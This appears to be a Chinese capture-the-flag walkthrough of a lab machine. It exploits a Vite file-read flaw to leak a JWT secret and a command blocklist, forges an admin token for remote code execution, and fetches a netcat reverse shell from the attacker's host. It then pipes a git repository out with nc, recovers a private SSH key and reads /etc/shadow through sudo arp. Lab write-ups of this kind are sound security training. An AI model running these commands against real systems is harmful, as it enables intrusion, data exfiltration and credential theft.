端口扫描
只有3000端口开放,web查看
CVE-2025-30208+rce
我看到这个第一眼想到的就是最近很火的CVE Vite 任意文件读取,试了一下果然如此
可以根据报错获取到项目目录/opt/node
,然后通过目录扫描获取到有哪些文件长度读取
读取server.js
/@fs/opt/node/server.js?raw??
import express from 'express';
import jwt from 'jsonwebtoken';
import 'dotenv/config';
import { exec } from 'child_process';
import { promisify } from 'util';
const app = express();
const address = 'localhost';
const port = 3001;
const exec_promise = promisify(exec);
// 提取并格式化环境变量中的禁止命令列表
const COMMAND_FILTER = process.env.COMMAND_FILTER
? process.env.COMMAND_FILTER.split(',')
.map(cmd => cmd.trim().toLowerCase())
.filter(cmd => cmd !== '')
: [];
app.use(express.json());
// 判断命令是否安全
function is_safe_command(cmd) {
if (!cmd || typeof cmd !== 'string') return false;
if (COMMAND_FILTER.length === 0) return false;
const lower_cmd = cmd.toLowerCase();
for (const forbidden of COMMAND_FILTER) {
const escaped = forbidden.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
const regex = new RegExp(`\\b${escaped}\\b|^${escaped}$`, 'i');
if (regex.test(lower_cmd)) return false;
}
// 过滤危险字符
if (/[;&|]/.test(cmd)) return false;
if (/[<>]/.test(cmd)) return false;
if (/[`$()]/.test(cmd)) return false;
return true;
}
// 执行命令
async function execute_command_sync(command) {
try {
const { stdout, stderr } = await exec_promise(command);
if (stderr) {
return { status: false, data: { stdout, stderr } };
}
return { status: true, data: { stdout, stderr } };
} catch (error) {
return { status: true, data: error.message };
}
}
// 根路径测试
app.get('/', (req, res) => {
return res.json({
status: 'working',
data: `listening on http://${address}:${port}`
});
});
// 签发 JWT(访客身份)
app.get('/api/sign', (req, res) => {
return res.json({
status: 'signed',
data: jwt.sign(
{
uid: -1,
role: 'guest'
},
process.env.JWT_SECRET,
{ expiresIn: '1800s' }
)
});
});
// 执行命令(仅限 admin)
app.get('/api/execute', async (req, res) => {
const authHeader = req.headers['authorization'];
if (!authHeader || !authHeader.startsWith('Bearer ')) {
return res.status(401).json({
status: 'rejected',
data: 'permission denied'
});
}
const token = authHeader.split(' ')[1];
try {
const payload = jwt.verify(token, process.env.JWT_SECRET);
if (payload.role !== 'admin') {
return res.status(403).json({
status: 'rejected',
data: 'permission denied'
});
}
} catch (err) {
return res.status(401).json({
status: 'rejected',
data: 'permission denied'
});
}
const command = req.query.cmd;
if (!is_safe_command(command)) {
return res.status(401).json({
status: 'rejected',
data: 'this command is unsafe'
});
}
const result = await execute_command_sync(command);
return res.json({
status: result.status ? 'executed' : 'failed',
data: result.data
});
});
// 启动服务
app.listen(port, address, () => {
console.log(`Listening on http://${address}:${port}`);
});
有两个api,sign和execute,读源码可以知道 jwt的key和命令执行的黑名单都在env里面,恰巧有.env文件
JWT_SECRET='2942szKG7Ev83aDviugAa6rFpKixZzZz'
COMMAND_FILTER='nc,python,python3,py,py3,bash,sh,ash,|,&,<,>,ls,cat,pwd,head,tail,grep,xxd'
于是先尝试伪造jwt然后进行命令执行,先去sign请求一个jwt
加个authorization
请求头,把jwt放Bearer后面
成功rce,想要尝试反弹shell,发现过滤得很严格,但是wget没过滤,于是尝试远程写好shell脚本,然后靶机执行
测试发现靶机只有ash
root@kali2 [/tmp] ➜ cat a [18:26:54]
nc 192.168.31.34 4567 -e /bin/ash
root@kali2 [/tmp] ➜ python -m http.server 6677 [18:26:55]
Serving HTTP on 0.0.0.0 port 6677 (http://0.0.0.0:6677/) ...
wget http://192.168.31.34:6677/a
chmod +x a
./a
git
3002开了个gitea,但是发现runner用户有权限读取里面文件
于是想使用git进行信息查看,但是我没有交互式shell,所以传到kali查看
kali
nc -l -p 12345 > /tmp/node.git.tar
靶机
tar -cf - node.git | nc 192.168.31.34 12345
root@kali2 [/tmp/node.git] git:(main) ➜ git log
commit 1994a70bbd080c633ac85a339fd85a8635c63893 (HEAD -> main)
Author: azwhikaru <37921907[email protected]>
Date: Mon Apr 21 14:36:12 2025 +0800
del: oops!
commit 02c0f912f6e5b09616580d960f3e5ee33b06084a
Author: azwhikaru <37921907[email protected]>
Date: Mon Apr 21 14:34:37 2025 +0800
init: init commit
root@kali2 [/tmp/node.git] git:(main) ➜ git diff 02c0f912f6e5b09616580d960f3e5ee33b06084a 1994a70bbd080c633ac85a339fd85a8635c63893
拿到hana的私钥
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACCMB5xEc6A2I69whyZDcTSPGVsz2jivuziHAEXaAlJLrgAAAJgA8k3lAPJN
5QAAAAtzc2gtZWQyNTUxOQAAACCMB5xEc6A2I69whyZDcTSPGVsz2jivuziHAEXaAlJLrg
AAAEBX7jUWSgQUQgA8z8yL85Eg1WiSgijSu3C4x8TVF/G3uIwHnERzoDYjr3CHJkNxNI8Z
WzPaOK+7OIcARdoCUkuuAAAAEGhhbmFAZGV2b29wcy5obXYBAgMEBQ==
-----END OPENSSH PRIVATE KEY-----
然后将22端口转发出来ssh连接即可拿到hana权限
socat TCP4-LISTEN:4567,fork TCP4:127.0.0.1:22
root@kali2 [/tmp] ➜ ssh -i aaa [email protected] -p 4567 [18:51:05]
devoops:~$ id
uid=1001(hana) gid=100(users) groups=100(users),100(users)
arp提权
devoops:~$ sudo -l
Matching Defaults entries for hana on devoops:
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
Runas and Command-specific defaults for hana:
Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"
User hana may run the following commands on devoops:
(root) NOPASSWD: /sbin/arp
arp可以读文件
devoops:~$ sudo arp -v -f /etc/shadow
>> root:$6$FGoCakO3/TPFyfOf$6eojvYb2zPpVHYs2eYkMKETlkkilK/6/pfug1.6soWhv.V5Z7TYNDj9hwMpTK8FlleMOnjdLv6m/e94qzE7XV.:20200:0:::::
爆破root密码